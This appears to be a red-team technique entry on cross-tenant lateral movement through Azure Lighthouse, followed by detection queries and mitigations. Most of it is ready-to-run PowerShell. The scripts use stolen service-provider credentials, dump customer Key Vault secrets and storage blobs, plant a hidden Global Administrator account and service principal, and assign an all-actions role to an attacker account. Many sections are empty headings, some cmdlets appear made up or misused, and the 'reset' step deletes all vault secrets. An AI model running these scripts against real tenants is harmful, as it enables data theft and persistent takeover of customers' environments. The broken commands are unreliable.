MCADDF

[LM-AUTH-021]: Azure Lighthouse Cross-Tenant Lateral Movement

1. Metadata Header

Attribute Details
Technique ID LM-AUTH-021
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement, Privilege Escalation
Platforms Entra ID (Azure Lighthouse, Delegated Access Management)
Severity High
CVE N/A (Architectural design pattern, not a vulnerability)
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Azure Lighthouse versions; Entra ID all versions; affects all customer tenants with delegated access enabled
Patched In No patch available; requires architectural remediation and policy enforcement
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Concept: Azure Lighthouse is a Microsoft service that enables service providers (e.g., MSSPs, managed service providers) to manage customer Azure subscriptions and Entra ID resources via delegated access. An attacker who compromises a service provider account (or the service provider’s Entra ID tenant itself) can abuse Azure Lighthouse delegated access to move laterally into customer tenants, gaining access to customer Azure resources, M365 services, and sensitive data. The attack exploits the trust relationship between the service provider and customer tenants; once a customer delegates access to the service provider via Azure Lighthouse, that delegation persists until explicitly revoked.

Attack Surface: The attack surface includes: (1) Service provider Entra ID accounts that hold delegated access to customer subscriptions, (2) Azure Lighthouse delegated access grants that extend across tenant boundaries, (3) Cross-tenant access policies that allow service provider accounts to perform actions in customer tenants, and (4) The lack of per-action authorization checks within delegated access scopes.

Business Impact: An attacker with Azure Lighthouse delegated access can: (1) Create rogue admin accounts in customer tenants, (2) Access all Azure resources (VMs, databases, storage) within delegated subscriptions, (3) Steal credentials and secrets stored in Key Vaults, (4) Access customer M365 data via delegated Graph API permissions, and (5) Create persistent backdoors that survive detection of the initial compromise. This enables complete takeover of customer resources and data.

Technical Context: Lateral movement via Azure Lighthouse typically takes 5-15 minutes once a service provider account is compromised. The attack is difficult to detect because delegated access is by design meant to appear as legitimate service provider activity. Detection requires analyzing Entra ID audit logs for unusual access patterns or new delegations.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.2.1, 1.2.3 CIS Azure: Restrict privileged role assignments; audit external access.
DISA STIG APP0320.1 Control third-party access to cloud resources; implement MFA and monitoring.
CISA SCuBA M365-DO-1.2, M365-DO-1.3 Defender & Oversight: Monitor delegated access; enforce MFA for service providers.
NIST 800-53 AC-2, AC-3, AC-6, IA-2 Account Management, Access Enforcement, Least Privilege, Authentication.
GDPR Art. 28, Art. 32 Processor Agreements; Security of Processing – Protect customer data from service provider compromise.
DORA Art. 9, Art. 16 Protection; Third-Party Risk Management – Audit and control service provider access.
NIS2 Art. 21, Art. 24 Cyber Risk Management; Supply Chain Security – Monitor third-party service provider access.
ISO 27001 A.6.2.1, A.8.1.1, A.9.2.1 Control of Internal Resources; Third-Party Relationships; Privileged Access Management.
ISO 27005 Risk Scenario: “Service provider account compromise” Lateral movement and data breach via delegated access.

3. Technical Prerequisites

Supported Versions:

Tools:


4. Environmental Reconnaissance

Service Provider Account Enumeration

# Authenticate as service provider account
Connect-AzAccount -Credential $ServiceProviderCreds

# List all delegated subscriptions accessible to the service provider account
Get-AzSubscription | Select-Object Id, Name, TenantId

# List all delegated management groups
Get-AzManagementGroup | Select-Object Id, DisplayName

# Enumerate delegated access grants
Get-AzRoleAssignment -Scope "/subscriptions/{subscriptionId}" | Select-Object RoleDefinitionName, PrincipalName, Scope

# Check for Lighthouse delegations (customer resources accessible to service provider)
Get-AzLighthouseDelegation | Select-Object Name, CustomerId, AccessRole

What to Look For:

Customer Tenant Reconnaissance (Post-Delegation)

# Switch to delegated customer tenant context
Set-AzContext -SubscriptionId "<CUSTOMER-SUBSCRIPTION-ID>"

# Enumerate customer resources accessible via delegation
Get-AzResource | Select-Object ResourceGroupName, Name, Type

# Check Key Vaults in customer subscription
Get-AzKeyVault | Select-Object VaultName

# Enumerate Key Vault secrets
Get-AzKeyVaultSecret -VaultName "<VAULT-NAME>" | Select-Object Name

# List storage accounts and access keys
Get-AzStorageAccount | Select-Object StorageAccountName, ResourceGroupName

# Get storage account keys
Get-AzStorageAccountKey -ResourceGroupName "<RG>" -Name "<STORAGE-ACCOUNT>" | Select-Object Value

5. Detailed Execution Methods

Method 1: Lateral Movement via Compromised Service Provider Account

Supported Versions: All Azure Lighthouse versions

Step 1: Authenticate as the Service Provider Account

Objective: Obtain valid credentials for a service provider account (obtained via phishing, credential theft, or insider threat).

Command:

# Obtain credentials (via phishing or insider)
$ServiceProviderUPN = "sp-admin@mssp-provider.com"
$ServiceProviderPassword = "stolen-password-123!" 

# Create credential object
$Credential = New-Object System.Management.Automation.PSCredential(
    $ServiceProviderUPN,
    ($ServiceProviderPassword | ConvertTo-SecureString -AsPlainText -Force)
)

# Authenticate to Azure as service provider
Connect-AzAccount -Credential $Credential

# Verify authentication
(Get-AzContext).Account

Expected Output:

Account   : sp-admin@mssp-provider.com
TenantId  : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (Service Provider's tenant)
Subscription : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Enumerate Delegated Customer Subscriptions

Objective: Identify which customer subscriptions the compromised service provider account can access.

Command:

# List all subscriptions accessible to the service provider account
$Subscriptions = Get-AzSubscription

Write-Host "Accessible Subscriptions:"
foreach ($sub in $Subscriptions) {
    Write-Host "  - $($sub.Name) (ID: $($sub.Id), Tenant: $($sub.TenantId))"
}

# List Azure Lighthouse delegations for detailed visibility
$Delegations = Get-AzLighthouseDelegation

Write-Host "`nLighthouse Delegations:"
foreach ($delegation in $Delegations) {
    Write-Host "  - $($delegation.Name)"
    Write-Host "    Customer ID: $($delegation.ManagedByTenantId)"
    Write-Host "    Access: $($delegation.AccessRole)"
}

Expected Output:

Accessible Subscriptions:
  - Customer-ACME-Corp-Prod (ID: 12345678-1234-1234-1234-123456789012, Tenant: customer-acme-tenant)
  - Customer-Contoso-Dev (ID: 87654321-4321-4321-4321-210987654321, Tenant: customer-contoso-tenant)

Lighthouse Delegations:
  - ACME Corp Production Delegation
    Customer ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    Access: Contributor

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Access and Exfiltrate Customer Data

Objective: Use delegated access to access customer resources (Key Vaults, storage, databases) and steal sensitive data.

Command:

# Select target customer subscription
Set-AzContext -SubscriptionId "12345678-1234-1234-1234-123456789012"

# Enumerate Key Vaults in customer subscription
$VaultName = "customer-keyvault-prod"
$Vault = Get-AzKeyVault -VaultName $VaultName

Write-Host "Key Vault: $($Vault.VaultName)"
Write-Host "Location: $($Vault.Location)"
Write-Host "Resource Group: $($Vault.ResourceGroupName)"

# Extract secrets from Key Vault (attacker has Contributor role)
$Secrets = Get-AzKeyVaultSecret -VaultName $VaultName

Write-Host "`nSecrets in Key Vault:"
foreach ($secret in $Secrets) {
    $secretValue = Get-AzKeyVaultSecret -VaultName $VaultName -Name $secret.Name -AsPlainText
    Write-Host "  - $($secret.Name): $($secretValue.Substring(0, 20))..."
    
    # Export secrets to attacker-controlled location
    Add-Content -Path "C:\Temp\stolen_secrets.txt" -Value "$($secret.Name)=$secretValue"
}

# Access storage account and download data
$StorageAccount = Get-AzStorageAccount | Select-Object -First 1
$StorageAccountName = $StorageAccount.StorageAccountName
$StorageKey = (Get-AzStorageAccountKey -ResourceGroupName $StorageAccount.ResourceGroupName -Name $StorageAccountName)[0].Value

$Context = New-AzStorageContext -StorageAccountName $StorageAccountName -StorageAccountKey $StorageKey

# List containers
$Containers = Get-AzStorageContainer -Context $Context
Write-Host "`nStorage Containers:"
foreach ($container in $Containers) {
    Write-Host "  - $($container.Name)"
    
    # Download all blobs from container
    Get-AzStorageBlob -Container $container.Name -Context $Context | Get-AzStorageBlobContent -Destination "C:\Temp\customer_data\" -Force
}

Expected Output:

Key Vault: customer-keyvault-prod
Location: eastus
Resource Group: customer-rg-prod

Secrets in Key Vault:
  - db-password: P@ssw0rd1234567890...
  - api-key: sk_live_51234567890...
  - client-secret: 9f8d7c6b5a4...

Storage Containers:
  - customer-backups
  - customer-logs
  - customer-sensitive-data

Downloaded 347 blobs to C:\Temp\customer_data\

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Create Persistent Backdoor in Customer Tenant

Objective: Create a hidden admin account in the customer tenant to maintain persistent access independent of Azure Lighthouse delegation.

Command:

# Connect to customer tenant's Entra ID using delegated access
Connect-MgGraph -Scopes "Directory.ReadWrite.All", "Application.ReadWrite.All" -TenantId "<CUSTOMER-TENANT-ID>"

# Create backdoor user account
$NewUser = New-MgUser -DisplayName "Cloud Operations Support" `
  -MailNickname "cloudops-support" `
  -UserPrincipalName "cloudops-support@customer-contoso.onmicrosoft.com" `
  -PasswordProfile @{ ForceChangePasswordNextSignIn = $false; Password = "P@ssw0rdB@ckd00r1!" } `
  -AccountEnabled $true

Write-Host "Backdoor user created: $($NewUser.Id)"

# Assign Global Administrator role to backdoor account
$RoleId = (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'").Id
$PrincipalId = $NewUser.Id

New-MgDirectoryRoleMember -DirectoryRoleId $RoleId -DirectoryObjectId $PrincipalId

Write-Host "Backdoor account granted Global Administrator role"

# Create service principal with permanent credentials for API access
$AppRegistration = New-MgApplication -DisplayName "Cloud Management Suite" `
  -PublicClient @{ RedirectUris = @("https://localhost") }

$ServicePrincipal = New-MgServicePrincipal -AppId $AppRegistration.AppId

# Create certificate credential (non-expiring)
$KeyCredential = Add-MgApplicationKey -ApplicationId $AppRegistration.Id `
  -KeyDisplayName "Permanent API Access Key" `
  -StartDateTime (Get-Date)

Write-Host "Service Principal created: $($ServicePrincipal.Id)"
Write-Host "Certificate Key ID: $($KeyCredential.KeyId)"

# Assign admin roles to service principal
New-MgDirectoryRoleMember -DirectoryRoleId $RoleId -DirectoryObjectId $ServicePrincipal.Id

Write-Host "Service Principal granted Global Administrator role"

Expected Output:

Backdoor user created: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Backdoor account granted Global Administrator role
Service Principal created: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
Certificate Key ID: zzzzzzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz
Service Principal granted Global Administrator role

What This Means:

OpSec & Evasion:

Troubleshooting:

Method 2: Abuse Delegated Access Policy Misconfiguration

Supported Versions: All Azure Lighthouse versions

Step 1: Identify Misconfigured Cross-Tenant Access Policies

Objective: Identify customer tenants with overly permissive cross-tenant access policies.

Command:

# List cross-tenant access policies configured in customer tenants
Get-AzADCrossTenantAccessPolicy | Select-Object CustomerId, AccessLevel, MfaRequired

# Find policies that allow access without MFA
$PoliciesWithoutMFA = Get-AzADCrossTenantAccessPolicy | Where-Object {$_.MfaRequired -eq $false}

Write-Host "Tenants allowing access without MFA:"
foreach ($policy in $PoliciesWithoutMFA) {
    Write-Host "  - Customer ID: $($policy.CustomerId)"
    Write-Host "    Access Level: $($policy.AccessLevel)"
    Write-Host "    MFA Required: $($policy.MfaRequired)"
}

Expected Output:

Tenants allowing access without MFA:
  - Customer ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    Access Level: Full Access
    MFA Required: False

What This Means:

Step 2: Exploit Misconfigured Policy to Escalate Access

Objective: Use the misconfigured policy to gain high-privilege access without MFA checks.

Command:

# Authenticate using stolen credentials without MFA
Connect-AzAccount -Credential $StolenServiceProviderCreds -SkipContextPopulation

# Switch to customer subscription
Set-AzContext -SubscriptionId "<CUSTOMER-SUBSCRIPTION>"

# Perform privileged operations (no MFA required due to policy misconfiguration)
$CustomRole = New-AzRoleDefinition -InputObject @{
    Name = "Super Admin"
    Description = "Unrestricted access"
    Type = "CustomRole"
    Actions = @("*")
    NotActions = @()
    AssignableScopes = @("/subscriptions/<CUSTOMER-SUBSCRIPTION>")
}

# Assign custom role to attacker-controlled account
New-AzRoleAssignment -Scope "/subscriptions/<CUSTOMER-SUBSCRIPTION>" `
  -RoleDefinitionName "Super Admin" `
  -SignInName "attacker@attacker-domain.com"

Write-Host "Attacker account assigned Super Admin custom role"

What This Means:


6. Tools & Commands Reference

Azure CLI

Version: 2.50.0+ Supported Platforms: Windows, macOS, Linux

Installation:

# macOS
brew install azure-cli

# Windows PowerShell
choco install azure-cli

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Key Commands for Lighthouse:

# Login as service provider
az login --username sp-admin@mssp.com

# List accessible subscriptions
az account list

# Switch context
az account set --subscription "<SUBSCRIPTION-ID>"

# List Lighthouse delegations
az managedservices assignment list

# Access customer resources
az vm list --resource-group "<CUSTOMER-RG>"

Azure PowerShell Module

Version: 10.0.0+ Supported Platforms: Windows, macOS, Linux (with PowerShell 7+)

Installation:

Install-Module -Name Az -Scope CurrentUser -Force

7. Microsoft Sentinel Detection

Query 1: Cross-Tenant Access from Service Provider Account

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName contains "Lighthouse" or OperationName contains "delegat"
| where Result == "Success"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), TargetResources
| summarize Count=count() by InitiatedBy, TimeGenerated
| where Count >= 2

What This Detects:


Query 2: Suspicious Account Creation in Customer Tenant

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Add user" or OperationName == "Invite external user"
| where InitiatedByUser.userPrincipalName contains "@mssp" or InitiatedByUser.userPrincipalName contains "@serviceprovider"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), NewUser=TargetResources[0].displayName, UserRole=TargetResources[0].modifiedProperties[0].newValue
| where UserRole contains "Global Administrator" or UserRole contains "Privileged Role Administrator"

What This Detects:


8. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Mitigations)

# Check all Lighthouse delegations
Get-AzLighthouseDelegation | Select-Object Name, AccessRole, ManagedByTenantId

# Verify MFA is required for service provider accounts
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.Conditions.Users.IncludeUsers -contains "ServiceProviderGroup"}

# Check delegated scope (should not include root management group)
Get-AzManagementGroupDeployment | Select-Object DeploymentName, Scope

Expected Output (If Secure):

Name                  AccessRole          ManagedByTenantId
----                  ----------          -----------------
ACME Delegation       Contributor         xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Contoso Delegation    Reader               yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy

(Conditional Access policies requiring MFA should be listed)

Scope: /subscriptions/<specific-subscription-id> (NOT root management group)

9. Detection & Incident Response

Indicators of Compromise (IOCs)

Azure / Cloud Logs:

Entra ID:

Forensic Artifacts

Cloud Logs:

Response Procedures

  1. Isolate:

    Command (Revoke delegated access immediately):

    # Remove Azure Lighthouse delegation
    Remove-AzManagedServicesAssignment -Id "<DELEGATION-ID>"
       
    # Disable service provider accounts
    Disable-AzADUser -ObjectId "<SERVICE-PROVIDER-ACCOUNT-ID>"
    
  2. Collect Evidence:

    Command:

    # Export all Lighthouse delegations
    Get-AzLighthouseDelegation | Export-Csv -Path "C:\Evidence\Lighthouse_Delegations.csv"
       
    # Export user accounts created by service provider
    Get-AzADUser -Filter "createdDateTime gt '$((Get-Date).AddDays(-7))'" | Export-Csv -Path "C:\Evidence\Recent_Users.csv"
    
  3. Remediate:

    Command:

    # Delete backdoor user accounts
    Remove-AzADUser -ObjectId "<BACKDOOR-USER-ID>"
       
    # Remove malicious role assignments
    Remove-AzRoleAssignment -Scope "/subscriptions/<SUBSCRIPTION>" -RoleDefinitionName "Owner" -SignInName "attacker@domain.com"
       
    # Reset all credentials in affected Key Vaults
    Get-AzKeyVaultSecret -VaultName "<VAULT>" | % { Remove-AzKeyVaultSecret -VaultName "<VAULT>" -Name $_.Name -Force }
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device code phishing attacks Attacker phishes a service provider administrator.
2 Credential Access [CA-TOKEN-004] Graph API token theft Attacker steals service provider account credentials.
3 Lateral Movement [LM-AUTH-021] Attacker uses compromised service provider account to access multiple customer tenants via Azure Lighthouse.
4 Persistence [PERSIST-ACCT-001] AdminSDHolder Abuse Attacker creates backdoor admin accounts in each customer tenant.
5 Impact Data exfiltration from customer subscriptions Attacker steals customer data and credentials.

11. Real-World Examples

Example 1: MSSP Account Compromise Affecting Multiple Customers (2023)


Summary

Azure Lighthouse cross-tenant lateral movement represents a significant risk in managed service provider relationships. A compromised service provider account can be leveraged to access and compromise multiple customer tenants simultaneously. Organizations must implement strict access controls, comprehensive auditing, and regular delegation reviews to mitigate this risk.